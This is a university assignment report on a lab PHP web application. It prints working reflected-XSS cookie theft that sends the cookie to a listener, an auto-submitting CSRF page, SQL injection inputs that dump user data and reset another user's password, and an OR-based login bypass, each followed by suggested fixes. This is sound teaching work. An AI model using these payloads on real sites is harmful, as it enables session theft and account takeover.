

Proactive Computer Security  
Assignment 1  
Web Security

Casper B. Hansen  
University of Copenhagen  
Department of Computer Science

April 28, 2014

**Abstract**

This assignment deals with common issues in web security. We start by taking a black-box approach of exploiting unescaped requests and insecure form validations. We then move on to a white-box assessment of SQL injection vulnerabilities in the system.

All topics covered are briefly commented on afterward with regard to possible fixes.

**Contents**

<b>1</b>	<b>Black Box Assessment</b>	<b>2</b>
1.1	Cookie Theft . . . . .	2
1.1.1	Possible fix . . . . .	2
1.2	Cross-site Request Forgery . . .	3
1.2.1	Possible fix . . . . .	3
<b>2</b>	<b>White Box Assessment</b>	<b>4</b>
2.1	Acquiring private user data . .	4
2.2	Altering private user data . . .	4
2.3	Possible fixes . . . . .	5

# 1 Black Box Assessment

## 1.1 Cookie Theft

As can be seen in the response URL by sending a request using the form in `users.php` it uses the *get* method. The form field is named “user”, as is apparent from the URL response. Observing that the page uses the *get* variable “user” to populate the form field on the responding HTML page, we can use this to attack the system.

By constructing a similar URL, but starting it by terminating the input HTML tag with “> — as shown on line 1 below — we can add HTML, and hence also JavaScript. Further appending a script which makes an asynchronous request to a desired destination — in this case we simply listen in on a designated port — we can traffic the private data stored in the session cookie.

```
1 http://localhost/barbarbar/users.php?user=">
2 <script>
3     var url = "http://localhost:8080/barbarbar/cookies.php?cookie=".concat(
4         document.cookie);
5     var req = new XMLHttpRequest;
6     req.onreadystatechange = function () {
7         window.location = "http://localhost/barbarbar/users.php";
8     };
9     req.open("GET", url, true);
10    req.send(null);
11 </script>
```

Figure 1: Cookie theft link (`cookie_theft.href`)

The script constructs a URL to our desired destination on line 3. It then creates a new `XMLHttpRequest` object on line 4, and proceeds to set up what the request should do upon being ready on lines 5–7. It then opens the request using the *get* method, the constructed URL and does so asynchronously and sends it on lines 8–9.

Since this is an asynchronous request no changes are visible in the browser, and upon completion the user simply sees the regular `users.php` page.

### 1.1.1 Possible fix

Upon receiving the request, and more importantly before making use of the passed data, the page should escape characters that can be used to terminate an HTML element or similar malicious technique.

## 1.2 Cross-site Request Forgery

We want to fake a *post* request to the `http://localhost/barbarbar/transfer.php`, since by the looks of the form of the HTML source retrieved through the browser of that page, transfers do not rely on any validations, and thus we can simply construct a valid *post* request without having any session or cookie information at all.

We start out by planning our escape plan; redirection to the `http://yesimparanoid.com/` site, which is defined on lines 7–9 as a function we will be using as a callback when the attack is completed.

Since we must ensure that the user does not suspect anything, we will set up an `iframe` as done on line 12, where we will direct our request to.

We then replicate the form found in the HTML source retrieved from the browser on the `transfer.php` page, but using constant values for the inputs and ensuring that all parts that would be sent by the original form would also be sent using our reconstruction — particularly, we have to make “submission” an explicit value, rather than a button.

All that remains is to submit the form upon loading the document, which is done on line 20. Do note that the `iframe` will call `callback` when it has completed the attack as a result of specifying that function in the `onload` attribute.

```
1 <html>
2   <head>
3     <title>Cookie Theft</title>
4   </head>
5   <body>
6     <script>
7       function callback() {
8         window.location = "http://yesimparanoid.com/";
9       }
10    </script>
11
12    <iframe name="fake" onload="callback()"></iframe>
13    <form name="transferform" action="http://localhost/barbarbar/transfer.
14      php" method="POST" target="fake">
15      <input name="coins" type="hidden" value="10" />
16      <input name="recipient" type="hidden" value="you" />
17      <input name="submission" type="hidden" value="Send" />
18    </form>
19
20    <script>
21      document.transferform.submit();
22    </script>
23  </body>
24</html>
```

Figure 2: XSRF document (`XSRF.html`)

### 1.2.1 Possible fix

This vulnerability could be eliminated by checking the referer of the request. In PHP this is found in the server variable `$_SERVER['HTTP_REFERER']`. A site should never trust any other referer than itself and possibly explicitly white-list declared referers.

## 2 White Box Assessment

### 2.1 Acquiring private user data

In the file `index.php` on lines 20–21 an SQL query is constructed from the text field data supplied by the `profileform` on lines 14–29. The PHP preparations for the SQL statement looks as follows.

```
1 UPDATE Person
2 SET Profile = '$profile'
3 WHERE ProfileId = $user->id
```

Figure 3: Profile update SQL statement

Since MySQL allows for updating multiple values we can append any number of columns and give them values to our liking. All we have to ensure is that we terminate the opened quote. The statement below is given as input.

```
1 ',
2 Person.DikuCoins = 100,
3 Person.Profile =
4 (
5     SELECT GROUP_CONCAT( CONCAT(Tmp.PersonId, '\t', Tmp.Username, '\t', Tmp.
6         Salt, '\t', Tmp.DikuCoins) SEPARATOR '\n')
7     FROM (SELECT * FROM Person) AS Tmp
8 ),
9 Username='<your-username>
% Password='5d4d92ea6d0ef715c6e14454ddba3697
```

Figure 4: Profile update input

The statement above terminates the opened quote on line 1, and then by comma separation of each column we wish to update we supply the data we want to alter. As can be seen, we set our own DIKU coins to 100 — just for fun — on line 2, and on lines 3–7 we pull out all the table data using a copy of the table, named `Tmp`, which is formatted into a string, such that the `Profile` field can accept the value. Note that `Profile` is updated twice, but the last value supplied will be the one used. The last column update is a dummy, such that we can close the quote.

### 2.2 Altering private user data

Looking at the authentication mechanism, there is a flaw which allows for unauthorized login. The flaw occurs in `includes/auth.php` as a result of the operator precedence in SQL. It completely ignores the password if a user is supplied, followed by `' OR '1'='1'`.

```
1 SELECT * FROM Person
2 WHERE Username='br0ns'
3 OR '1'='1'
4 AND Password='secret'
```

The **AND** operator has higher precedence than **OR**, and so the expression takes on the form  $p \vee (q \wedge r)$ . Since we know that the user br0ns exists (corresponding to the  $p$  term) the left-hand term of the  $\vee$  always yields true, and because only one term of  $\vee$  need be true, so is the statement.

Having access to br0ns' account, we can alter his password by applying the same technique as previously discussed (see section 2.1 on page 4). We want to change br0ns' password, but since passwords are stored as MD5 encryptions if we want to be able to use it we will have to precalculate the supplied value.

Since we have the salt already (see section 2.1 on page 4) we can replicate the algorithm by which the site calculates the stored passwords, which we can then use to update his password. Let's say that we want to change the password to "0wn3d", we would do as follows in any PHP file.

```
1 <? echo md5('0wn3d'.'beef'); ?>
```

Figure 5: Password calculation

The above produces the MD5 encrypted password "1de6ccdf75d751e707481d390f532788". So, now we simply update the profile by inputting the following statement in the profile update form on the `index.php` page.

```
1 ',  
2 Person.Profile =  
3 (  
4     SELECT Tmp.Profile  
5     FROM (SELECT * FROM Person) AS Tmp  
6     WHERE Tmp.Profile = 'br0ns'  
7 ),  
8 Password='1de6ccdf75d751e707481d390f532788
```

Figure 6: Profile update input

This effectively changes the password of br0ns' user. By precalculating the password into a real hashed password, we can now access br0ns' user using the login form by supplying the "owned" password.

## 2.3 Possible fixes

Both attacks abuses the fact that PHP doesn't care what is passed to it. There are two possible solutions; either escape characters that can be used to expand SQL statements in unintended ways, or use prepared SQL statements. The first is simple and somewhat effective, but still leaves the system very vulnerable. The latter makes sure that the SQL queries only requests the intended statement fields, which is far more secure. Both can be employed in this system to make it far more reliable and secure.